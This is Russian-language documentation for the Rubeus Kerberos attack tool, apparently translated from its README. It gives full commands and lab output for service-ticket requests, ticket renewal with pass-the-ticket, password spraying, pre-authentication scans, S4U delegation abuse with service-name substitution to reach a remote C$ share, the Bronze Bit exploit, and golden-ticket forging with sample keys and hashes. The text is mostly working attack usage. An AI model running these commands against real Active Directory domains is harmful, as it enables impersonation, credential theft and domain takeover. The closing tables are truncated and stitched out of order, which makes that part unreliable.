(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Ask TGS
[*] Using domain controller: PDC1.rubeus.ghostpack.local (192.168.71.80)
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building User-to-User TGS-REQ request for: 'harmj0y'
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIFxTCCBcGgAwIBBaEDAgEWooIE1DCCBNBhggTMMIIEyKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
RVVTLkdIT1NUUEFDSy5MT0NBTKkUMBKgAwIBAaELMAkbB2hhcm1qMHk=
ServiceName : harmj0y
ServiceRealm : RUBEUS.GHOSTPACK.LOCAL
UserName : harmj0y
UserRealm : RUBEUS.GHOSTPACK.LOCAL
StartTime : 19/07/2021 23:01:05
EndTime : 20/07/2021 09:00:38
RenewTill : 26/07/2021 23:00:38
Flags : name_canonicalize, pre_authent, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : Qm9zdwFIINSHAAmqaviuEw==
ASREP (key) : CC9D16AB01D1BD0EF9EBD53C8AD536D9
Decrypted PAC :
LogonInfo :
LogonTime : 19/07/2021 22:59:21
LogoffTime :
KickOffTime :
PasswordLastSet : 14/07/2021 02:07:12
PasswordCanChange : 15/07/2021 02:07:12
PasswordMustChange :
EffectiveName : harmj0y
FullName : Harm J0y
LogonScript :
ProfilePath :
HomeDirectory :
HomeDirectoryDrive :
LogonCount : 7
BadPasswordCount : 0
UserId : 1106
PrimaryGroupId : 513
GroupCount : 1
Groups : 513
UserFlags : (32) EXTRA_SIDS
UserSessionKey : 0000000000000000
LogonServer : PDC1
LogonDomainName : RUBEUS
LogonDomainId : S-1-5-21-3237111427-1607930709-3979055039
UserAccountControl : (528) NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
ExtraSIDCount : 1
ExtraSIDs : S-1-18-1
ResourceGroupCount : 0
CredentialInfo :
Version : 0
EncryptionType : rc4_hmac
CredentialData :
CredentialCount : 1
NTLM : C69A7EA908898C23B72E65329AF7E3E8
ClientName :
Client Id : 19/07/2021 23:00:38
Client Name : harmj0y
UpnDns :
DNS Domain Name : RUBEUS.GHOSTPACK.LOCAL
UPN : [email protected]
Flags : 0
ServerChecksum :
Signature Type : KERB_CHECKSUM_HMAC_MD5
Signature : ADEC4A1A7DF70D0A61047E510E778454 (VALID)
KDCChecksum :
Signature Type : KERB_CHECKSUM_HMAC_SHA1_96_AES256
Signature : 6CF688E02147BEEC168E0125 (UNVALIDATED)
Примечание. Ключ /asrepkey из полученного TGT должен быть передан для расшифровки раздела CredentialData, где хранится хэш NTLM, но аргумент /servicekey здесь не требуется, так как используется сеансовый ключ из TGT, поскольку это запрос user-to-user.
Запрос сервисного билета с использованием текущей сессии входа:``` Rubeus.exe asktgs /service:LDAP/dc.ghostpack.local /nowrap
(_____ \ | | ) ) | | _____ _ _ ___ | __ /| | | | _ | ___ | | | |/) | | \ | || | |) ) | || | | || ||/|/|_____)__/(_/
v2.3.3
[*] Action: Ask TGS
[=] Requesting service ticket via LSA authentication package 2 using handle 0x9625072 [*] base64(ticket.kirbi):
doIGvDCCBrigAwIBBaEDAg(..snip..)
ServiceName : LDAP/dc.ghostpack.local ServiceRealm : GHOSTPACK.LOCAL UserName : CCob (NT_PRINCIPAL) UserRealm : GHOSTPACK.LOCAL StartTime : 25/02/2025 09:08:11 EndTime : 25/02/2025 18:48:39 RenewTill : 03/03/2025 12:47:40 Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable KeyType : aes256_cts_hmac_sha1 Base64(key) : k2xUOHFN1Xg(...snip...)
Запрос TGT учётной записи локального компьютера через продление. Требуются права локального администратора. При включённой защите учётных данных (Credential Guard) использование билета за пределами хоста будет невозможно.```
Rubeus.exe asktgs /service:krbtgt/ghostpack.local /luid:0x3e7
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.3
[*] Action: Ask TGS
[=] Requesting service ticket via LSA authentication package 2 using handle 0x10441184
[*] base64(ticket.kirbi):
doIGuTCCBrWg(...snip...)IFhb3MuZGV2
ServiceName : krbtgt/ghostpack.local
ServiceRealm : GHOSTPACK.LOCAL
UserName : DC$ (NT_PRINCIPAL)
UserRealm : GHOSTPACK.LOCAL
StartTime : 25/02/2025 09:18:37
EndTime : 25/02/2025 11:35:10
RenewTill : 02/03/2025 10:35:06
Flags : name_canonicalize, pre_authent, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : k2xUOHFN1Xg(...snip...)
Действие renew строит/разбирает необработанный обмен TGS-REQ/TGS-REP для продления TGT, используя указанный /ticket:X. Это значение может быть кодировкой base64 файла .kirbi или путём к файлу .kirbi на диске. Если /dc не указан, извлекается и используется текущий контроллер домена компьютера в качестве назначения для трафика продления. Флаг /ptt выполняет "pass-the-ticket" и применяет полученные учётные данные Kerberos к текущему сеансу входа.
Обратите внимание, что TGT должны быть продлены до их EndTime, в пределах окна RenewTill.
C:\Rubeus>Rubeus.exe renew /ticket:ticket.kirbi /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Renew TGT
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ renewal for: 'TESTLAB.LOCAL\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 1506 bytes
[*] Received 1510 bytes
[+] TGT renewal request successful!
[*] base64(ticket.kirbi):
doIFmjCCBZagAwIBBaEDAgEWoo...(snip)...
[*] Action: Import Ticket
[+] Ticket successfully imported!
Флаг /autorenew принимает существующий файл/блоб .kirbi /ticket:X, ждёт до endTime-30 минут, автоматически продлевает билет и отображает обновлённый блоб билета. Он продолжает этот процесс продления до тех пор, пока не истечёт допустимое окно продления renew-till.
C:\Rubeus>Rubeus.exe renew /ticket:doIFmjCCBZagAwIBBaEDAgEWoo...(snip)... /autorenew
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Auto-Renew TGT
[*] User : [email protected]
[*] endtime : 2/10/2019 11:44:09 PM
[*] renew-till : 2/17/2019 6:44:09 PM
[*] Sleeping for 263 minutes (endTime-30) before the next renewal
[*] Renewing TGT for [email protected]
[*] Action: Renew TGT
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ renewal for: 'TESTLAB.LOCAL\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 1506 bytes
[*] Received 1510 bytes
[+] TGT renewal request successful!
[*] base64(ticket.kirbi):
doIFmjCCBZagAwIBBaEDAgEWoo...(snip)...
Действие brute выполняет атаку перебора паролей или распыления паролей на основе Kerberos. В качестве имени действия также можно использовать spray.
C:\Rubeus>Rubeus.exe brute /password:Password123!! /noticket
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
[-] Blocked/Disabled user => Guest
[-] Blocked/Disabled user => DefaultAccount
[-] Blocked/Disabled user => krbtgt
[-] Blocked/Disabled user => disabled
[+] STUPENDOUS => newuser:Password123!!
[*] base64(newuser.kirbi):
doIFLDCCBSigAwIBBaEDAgEWooIELDCCBChhggQkMIIEIKADAgEFoRAbDlR...(snip)...
Действие preauthscan отправляет AS-REQ для всех имён пользователей, переданных в аргумент /users, чтобы обнаружить учётные записи, не требующие предварительной аутентификации Kerberos.
C:\Rubeus>Rubeus.exe preauthscan /users:uns.txt /domain:semperis.lab /dc:192.168.71.220
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.0
[*] Action: Scan for accounts not requiring Kerberos Pre-Authentication
[*] cclark: Pre-Auth Required
[*] jjones: Pre-Auth Not Required
[*] rwilliams: Pre-Auth Required
[*] svc_sqlserver: Pre-Auth Required
[*] pgreen: Pre-Auth Required
[*] jsmith: Pre-Auth Required
[*] tnahum: Pre-Auth Required
[*] sfederovsky: Pre-Auth Required
Разбор команд ограниченной делегации:
| Команда | Описание |
|---|---|
| s4u | Выполнение действий S4U2self и S4U2proxy |
Действие s4u почти идентично функциональности tgs::s4u из Kekeo. Если учётная запись пользователя (или компьютера) настроена на ограниченную делегацию (т.е. имеет значение SPN в поле msds-allowedtodelegateto), это действие можно использовать для злоупотребления доступом к целевому SPN/серверу. Ограниченная делегация сложна. Дополнительную информацию см. в этой статье или в посте Элада Шамира (Elad Shamir) "Wagging the Dog".
Краткое объяснение: учётная запись с включённой ограниченной делегацией может запрашивать билеты для себя от имени любого пользователя в процессе, известном как S4U2self. Чтобы учётная запись могла это делать, у неё должно быть включено свойство TrustedToAuthForDelegation в useraccountcontrol — то, что по умолчанию могут изменять только привилегированные пользователи. Этот билет по умолчанию имеет флаг FORWARDABLE. Затем служба может использовать этот специально запрошенный билет для запроса билета службы к любому имени участника службы (SPN), указанному в поле msds-allowedtodelegateto учётной записи. Короче говоря, если у вас есть контроль над учётной записью с установленным TrustedToAuthForDelegation и значением в msds-allowedtodelegateto, вы можете выдавать себя за любого пользователя домена для SPN, указанных в поле msds-allowedtodelegateto этой учётной записи.
Этот "контроль" может быть хешем учётной записи (/rc4 или /aes256) или существующим TGT (/ticket:X) для учётной записи с установленным значением msds-allowedtodelegateto. Если указан /user и хеш rc4/aes256, модуль s4u сначала выполняет действие asktgt, используя полученный билет для последующих шагов. Если указан TGT /ticket:X, используется этот TGT.
Если указан хеш учётной записи, переключатель /nopac можно использовать для запроса начального TGT без PAC.
Использование прокси KDC (MS-KKDCP) для выполнения запросов возможно с помощью аргумента /proxyurl:URL. Требуется полный URL прокси KDC, например, https://kdcproxy.exmaple.com/kdcproxy. При использовании в команде s4u все запросы будут отправляться через прокси.
Параметр /impersonateuser:X ОБЯЗАТЕЛЬНО должен быть указан для модуля s4u. Если ничего другого не указано, выполняется только процесс S4U2self, возвращающий пересылаемый билет:
C:\Rubeus>Rubeus.exe s4u /user:patsy /rc4:2b576acbe6bcfda7294d6bd18041b8fe /impersonateuser:dfm.a
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\patsy'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1377 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIE+jCCBPagAwIBBaEDAgEWoo...(snip)...
[*] Action: S4U
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2self request for: 'TESTLAB.LOCAL\patsy'
[*] Sending S4U2self request
[*] Connecting to 192.168.52.100:88
[*] Sent 1437 bytes
[*] Received 1574 bytes
[+] S4U2self success!
[*] Got a TGS for '[email protected]' to 'TESTLAB.LOCAL\patsy'
[*] base64(ticket.kirbi):
doIF2jCCBdagAwIBBaEDAgEWoo...(snip)...
Этот пересылаемый билет затем может быть использован в качестве параметра /tgs:Y (блоб base64 или файл .kirbi) для выполнения процесса S4U2proxy. Должно быть указано допустимое значение msds-allowedtodelegateto для учётной записи (/msdsspn:X). Предположим, учётная запись [email protected] выглядит так:
PS C:\> Get-DomainUser patsy -Properties samaccountname,msds-allowedtodelegateto | Select -Expand msds-allowedtodelegateto
ldap/PRIMARY.testlab.local/testlab.local
ldap/PRIMARY
ldap/PRIMARY.testlab.local/TESTLAB
ldap/PRIMARY/TESTLAB
ldap/PRIMARY.testlab.local/DomainDnsZones.testlab.local
ldap/PRIMARY.testlab.local/ForestDnsZones.testlab.local
ldap/PRIMARY.testlab.local
Тогда функция злоупотребления S4U2proxy (с использованием билета из предыдущего процесса S4U2self) будет:
C:\Rubeus>Rubeus.exe s4u /ticket:doIE+jCCBPagAwIBBaEDAgEWoo..(snip).. /msdsspn:"ldap/PRIMARY.testlab.local" /tgs:doIF2jCCBdagAwIBBaEDAgEWoo..(snip)..
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: S4U
[*] Loaded a TGS for TESTLAB.LOCAL\[email protected]
[*] Impersonating user '[email protected]' to target SPN 'ldap/PRIMARY.testlab.local'
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2proxy request for service: 'ldap/PRIMARY.testlab.local'
[*] Sending S4U2proxy request
[*] Connecting to 192.168.52.100:88
[*] Sent 2641 bytes
[*] Received 1829 bytes
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'ldap/PRIMARY.testlab.local':
doIGujCCBragAwIBBaEDAgEWoo..(snip)..
Где /ticket:X — это TGT, полученный на первом шаге, а /tgs — билет S4U2self. Внедрение полученного билета (вручную с помощью Rubeus.exe ptt /ticket:X или указанием флага /ptt команде s4u) позволит вам получить доступ к службе ldap на primary.testlab.local как если бы вы были dfm.a.
Параметр /altservice использует замечательное открытие Альберто Солино о том, как имя службы (sname) не защищено в файле KRB-CRED, защищено только имя сервера. Это позволяет нам подставить любое имя службы в результирующий файл KRB-CRED (.kirbi). Можно указать одно или несколько альтернативных имён служб, разделённых запятыми (/altservice:cifs,HOST,...).
Расширим предыдущий пример, подделывая доступ к файловой системе на primary.testlab.local путём злоупотребления его конфигурацией ограниченной делегации и подстановкой альтернативной службы. Также объединим всё в один шаг, выполнив запрос TGT, процесс S4U2self, выполнение S4U2proxy и внедрение конечного билета:
C:\Rubeus>dir \\primary.testlab.local\C$
Access is denied.
C:\Rubeus>Rubeus.exe s4u /user:patsy /rc4:2b576acbe6bcfda7294d6bd18041b8fe /impersonateuser:dfm.a /msdsspn:"ldap/PRIMARY.testlab.local" /altservice:cifs /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\patsy'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1377 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIE+jCCBPagAwIBBaEDAgEWoo..(snip)..
[*] Action: S4U
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2self request for: 'TESTLAB.LOCAL\patsy'
[*] Sending S4U2self request
[*] Connecting to 192.168.52.100:88
[*] Sent 1437 bytes
[*] Received 1574 bytes
[+] S4U2self success!
[*] Got a TGS for '[email protected]' to 'TESTLAB.LOCAL\patsy'
[*] base64(ticket.kirbi):
doIF2jCCBdagAwIBBaEDAgEWoo..(snip)..
[*] Impersonating user 'dfm.a' to target SPN 'ldap/PRIMARY.testlab.local'
[*] Final ticket will be for the alternate service 'cifs'
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2proxy request for service: 'ldap/PRIMARY.testlab.local'
[*] Sending S4U2proxy request
[*] Connecting to 192.168.52.100:88
[*] Sent 2641 bytes
[*] Received 1829 bytes
[+] S4U2proxy success!
[*] Substituting alternative service name 'cifs'
[*] base64(ticket.kirbi) for SPN 'cifs/PRIMARY.testlab.local':
doIGujCCBragAwIBBaEDAgEWoo..(snip)..
[*] Action: Import Ticket
[+] Ticket successfully imported!
C:\Rubeus>dir \\primary.testlab.local\C$
Volume in drive \\primary.testlab.local\C$ has no label.
Volume Serial Number is A48B-4D68
Directory of \\primary.testlab.local\C$
07/05/2018 12:57 PM <DIR> dumps
03/05/2017 04:36 PM <DIR> inetpub
08/22/2013 07:52 AM <DIR> PerfLogs
04/15/2017 05:25 PM <DIR> profiles
08/28/2018 11:51 AM <DIR> Program Files
08/28/2018 11:51 AM <DIR> Program Files (x86)
10/09/2018 12:04 PM <DIR> Temp
08/23/2018 03:52 PM <DIR> Users
10/25/2018 01:15 PM <DIR> Windows
1 File(s) 9 bytes
9 Dir(s) 40,511,676,416 bytes free
По умолчанию между S4U2Self и S4U2Proxy TGS-REQ, генерируемыми Rubeus, и подлинными запросами существует несколько отличий. Чтобы формировать TGS-REQ более похожими на подлинные запросы, можно использовать флаг /opsec. Поскольку этот флаг предназначен для того, чтобы сделать трафик Rubeus более скрытным, по умолчанию его нельзя использовать ни с каким другим типом шифрования, кроме aes256, и при использовании другого типа шифрования будет выдано предупреждение и выполнение завершится. Чтобы разрешить использование других типов шифрования с изменениями /opsec, существует флаг /force. Флаг /opsec ещё не реализован для междоменного S4U.
Эксплойт Bronze Bit (CVE-2020-17049) реализован с помощью флага /bronzebit. Добавление этого флага автоматически переключает флаг forwardable при получении билета S4U2Self. Поскольку для переключения этого флага требуется расшифровать и повторно зашифровать билет службы, необходим долговременный ключ (хеш пароля учётной записи службы). По этой причине, если передаётся TGT, для работы также требуются учётные данные учётной записи службы.
В определённых обстоятельствах можно использовать билет S4U2Self для выдачи себя за защищённых пользователей с целью повышения привилегий на запрашивающей системе, как обсуждалось здесь. Для этой цели можно использовать флаг /self и аргумент /altservice:X для генерации используемого билета службы.
Для подделки реферала S4U2Self требуется только ключ доверия. Используя аргумент /targetdomain:X с флагом /self и без аргумента /targetdc, Rubeus будет рассматривать билет, переданный с /ticket:X, как реферал S4U2Self и запрашивать только конечный билет службы S4U2Self. /altservice:X также можно использовать для перезаписи sname в результирующем билете:
C:\Rubeus>Rubeus.exe s4u /self /targetdomain:internal.zeroday.lab /dc:idc1.internal.zeroday.lab /impersonateuser:external.admin /domain:external.zeroday.lab /altservice:host/isql1.internal.zeroday.lab /nowrap /ticket:C:\temp\s4u2self-referral.kirbi
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
[*] Action: S4U
[*] Action: S4U
[*] Using domain controller: idc1.internal.zeroday.lab (192.168.71.20)
[*] Requesting the cross realm 'S4U2Self' for [email protected] from idc1.internal.zeroday.lab
[*] Sending cross realm S4U2Self request
[+] cross realm S4U2Self success!
[*] Substituting alternative service name 'host/isql1.internal.zeroday.lab'
[*] base64(ticket.kirbi):
doIFETCCBQ...RheS5sYWI=
Разбор команд подделки билетов:
| Команда | Описание |
|---|---|
| golden | Подделка билета предоставления билета (TGT) |
| silver | Подделка билета службы, также может подделывать TGT |
| diamond | Подделка алмазного билета |
Между командами golden и silver есть много общего; причина их разделения — упрощение команды golden. Билеты службы могут быть гораздо сложнее, чем TGT, с разными ключами и дополнительными разделами, в то время как TGT можно подделать с помощью команды silver; golden предоставляет меньше потенциальных аргументов, поскольку функции, не относящиеся к TGT, отсутствуют.
Большинство аргументов для обеих этих команд предназначены для установки полей PAC и должны быть достаточно понятны. Это:| Аргумент | Описание |
|----------|-------------|
| /user | Используется как пользователь для запроса деталей, если передан /ldap, а также используется для установки поля EffectiveName в PAC и поля cname в EncTicketPart |
| /dc | Определяет контроллер домена, используемый для LDAP-запроса, если передан /ldap, а также используется для установки поля LogonServer в PAC |
| /netbios | Устанавливает поле LogonDomainName в PAC |
| /sid | Устанавливает поле LogonDomainId в PAC |
| /id | Устанавливает поле UserId в PAC (По умолчанию: 500) |
| /displayname | Устанавливает поле FullName в PAC |
| /logoncount | Устанавливает поле LogonCount в PAC (По умолчанию: 0) |
| /badpwdcount | Устанавливает поле BadPasswordCount в PAC (По умолчанию: 0) |
| /uac | Устанавливает поле UAC в PAC (По умолчанию: NORMAL_ACCOUNT) |
| /pgid | Устанавливает поле PrimaryGroupId в PAC и также добавляется в поле /groups (По умолчанию: 513) |
| /groups | Разделены запятыми. Устанавливает поле Groups в PAC, в него также добавляется /pgid. Сумма используется для расчета поля GroupCount (По умолчанию: 520,512,513,519,518) |
| /homedir | Устанавливает поле HomeDirectory в PAC |
| /homedrive | Устанавливает поле HomeDirectoryDrive в PAC |
| /profilepath | Устанавливает поле ProfilePath в PAC |
| /scriptpath | Устанавливает поле LogonScript в PAC |
| /logofftime | Устанавливает поле LogoffTime в PAC. В формате местного времени — автоматически преобразуется в UTC |
| /lastlogon | Устанавливает поле LogonTime в PAC. В формате местного времени — автоматически преобразуется в UTC (По умолчанию: starttime - 1 секунда) |
| /passlastset | Устанавливает поле PasswordLastSet в PAC. В формате местного времени — автоматически преобразуется в UTC |
| /minpassage | Устанавливает поле PasswordCanChange в PAC. Относится к PasswordLastSet, в днях, например, '5' для 5 дней |
| /maxpassage | Устанавливает поле PasswordMustChange в PAC. Относится к PasswordLastSet, в днях, например, '5' для 5 дней |
| /sids | Разделены запятыми. Устанавливает поле ExtraSIDs в PAC. Также используется для расчета поля ExtraSIDCount |
| /resourcegroupsid | Устанавливает поле ResourceGroupSid в PAC. При использовании также требуется /resourcegroups |
| /resourcegroups | Разделены запятыми. Устанавливает поле ResourceGroups в PAC. Также используется для расчета поля ResourceGroupCount. При использовании также требуется |
Другие аргументы, общие для обеих команд, но для установки полей вне PAC:
Для относительных времен, описанных в таблицах выше, формат: целое число (множитель) и одна буква (временной диапазон). Значение каждой поддерживаемой буквы показано в таблице ниже (Регистрозависимо):
| Символ | Описание |
|---|---|
| m | Минуты |
| h | Часы |
| d | Дни |
| M | Месяцы |
| y | Годы |
Другая общая функция, используемая обеими командами — получение информации через LDAP. Обе команды, golden и silver, поддерживают получение информации через LDAP с помощью флага /ldap. Флаг /ldap можно использовать с аргументами /creduser и /credpassword для аутентификации от имени другого пользователя при получении этой информации. Информация извлекается путем отправки 3 LDAP-запросов и монтирования общей папки SYSVOL контроллера домена (для чтения файла политики домена), если не передано никакой другой информации. LDAP-запросы автоматически отправляются по TLS, а при неудаче возвращаются к обычному LDAP.
Первый LDAP-запрос, который всегда отправляется, если передан ldap, запрашивает пользователя, указанного в /user, и получает большую часть информации о пользователе, необходимой для PAC.
Второй LDAP-запрос будет отправлен, если /groups, /pgid, /minpassage ИЛИ /maxpassage не указаны в командной строке; любой из этих аргументов, указанных в командной строке, предотвратит запрос к LDAP за этой информацией. Этот запрос получает группы, участником которых является пользователь, включая основную группу, а также объект политики домена (используется для получения пути к файлу политики). Если /minpassage или /maxpassage не указаны в командной строке, а объект политики домена получен из LDAP, монтируется общая папка SYSVOL контроллера домена, и файл политики анализируется для получения значений MinimumPasswordAge (для установки правильного значения для поля PasswordCanChange в PAC) и MaximumPasswordAge (для установки правильного значения для поля PasswordMustChange в PAC).
Наконец, если аргумент /netbios не указан в командной строке, из контейнера Configuration выполняется LDAP-запрос правильного имени NetBIOS домена для установки поля LogonDomainName в PAC. Если флаг /ldap не задан в командной строке, а аргумент /netbios также не указан, первый элемент (до первой точки '.') записывается в верхнем регистре и используется вместо него.
Флаг /printcmd можно использовать, чтобы вывести аргументы, необходимые для создания другого билета, содержащего те же данные PAC, что и при генерации текущего билета. Это не выведет аргументы, связанные со временем действия билета, так как они, вероятно, должны быть другими для любых будущих подделываемых билетов.
Действие golden подделывает TGT для пользователя /user:X, шифруя билет хешем, переданным через /des:X, /rc4:X, /aes128:X или /aes256:X, и использует тот же ключ для создания ServerChecksum и KDCChecksum. Различные аргументы для ручной установки полей описаны выше, либо можно использовать флаг /ldap для автоматического получения информации с контроллера домена.
Параметр /oldpac можно использовать для исключения новых блоков PAC, Requestor и Attributes, добавленных в ответ на CVE-2021-42287.
Параметр /extendedupndns включает новые расширенные элементы UpnDns. Это включает добавление 2 к Flags, а также содержит samaccountname и SID учетной записи.
Параметр /rodcNumber:x был добавлен для выполнения запросов ключей Kerberos Key List Requests. Значение этого параметра — число после krbtgt_x в атрибуте msDS-KrbTgtLink контроллера домена только для чтения, например, krbtgt_12345 будет 12345. Этот запрос требует определенных флагов, которые можно задать с помощью /flags:forwardable,renewable,enc_pa_rep. Ключ (/des:X, /rc4:X, /aes128:X или /aes256:X), используемый для шифрования, — это ключ учетной записи KRBTGT_x. Дополнительную информацию можно найти в статье блога Elad Shamir здесь.
Подделка TGT с использованием флага /ldap для получения информации и флага /printcmd для вывода команды для подделки другого билета с теми же данными PAC:
C:\Rubeus>Rubeus.exe golden /aes256:6a8941dcb801e0bf63444b830e5faabec24b442118ec60def839fd47a10ae3d5 /ldap /user:harmj0y /printcmd
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Build TGT
[*] Trying to query LDAP using LDAPS for user information on domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(samaccountname=harmj0y)'
[*] Retrieving domain policy information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(|(objectsid=S-1-5-21-3237111427-1607930709-3979055039-513)(name={31B2F340-016D-11D2-945F-00C04FB984F9}))'
[*] Attempting to mount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully mounted
[*] Attempting to unmount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully unmounted
[*] Retrieving netbios name information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' for '(&(netbiosname=*)(dnsroot=rubeus.ghostpack.local))'
[*] Building PAC
[*] Domain : RUBEUS.GHOSTPACK.LOCAL (RUBEUS)
[*] SID : S-1-5-21-3237111427-1607930709-3979055039
[*] UserId : 1106
[*] Groups : 513
[*] ServiceKey : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] KDCKey : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] KDCKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service : krbtgt
[*] Target : rubeus.ghostpack.local
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'
[*] AuthTime : 29/07/2021 00:12:40
[*] StartTime : 29/07/2021 00:12:40
[*] EndTime : 29/07/2021 10:12:40
[*] RenewTill : 05/08/2021 00:12:40
[*] base64(ticket.kirbi):
doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
dWJldXMuZ2hvc3RwYWNrLmxvY2Fs
[*] Printing a command to recreate a ticket containing the information used within this ticket
C:\Rubeus\Rubeus.exe golden /aes256:6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5 /user:harmj0y /id:1106 /pgid:513 /domain:rubeus.ghostpack.local /sid:S-1-5-21-3237111427-1607930709-3979055039 /pwdlastset:"14/07/2021 02:07:12" /minpassage:1 /logoncount:16 /displayname:"Harm J0y" /netbios:RUBEUS /groups:513 /dc:PDC1.rubeus.ghostpack.local /uac:NORMAL_ACCOUNT,DONT_EXPIRE_PASSWORD,NOT_DELEGATED
Подделка TGT с явным указанием всех параметров в командной строке:
C:\Rubeus>Rubeus.exe golden /aes256:6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5 /user:harmj0y /id:1106 /pgid:513 /domain:rubeus.ghostpack.local /sid:S-1-5-21-3237111427-1607930709-3979055039 /pwdlastset:"14/07/2021 02:07:12" /minpassage:1 /logoncount:16 /displayname:"Harm J0y" /netbios:RUBEUS /groups:513 /dc:PDC1.rubeus.ghostpack.local /uac:NORMAL_ACCOUNT,DONT_EXPIRE_PASSWORD,NOT_DELEGATED
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Build TGT
[*] Building PAC
| Команда | Описание |
|---|
| asktgt | Запрос билета предоставления билетов (TGT) по хешу/ключу или паролю |
| asktgs | Запрос билета службы из переданного TGT |
| renew | Обновление (или автоматическое обновление) TGT или билета службы |
| brute | Выполнение атаки перебора паролей на основе Kerberos. Вместо 'brute' можно также использовать 'spray' |
| preauthscan | Сканирование учетных записей, не требующих предварительной аутентификации Kerberos |
/resourcegroupsid| Аргумент | Описание |
|---|
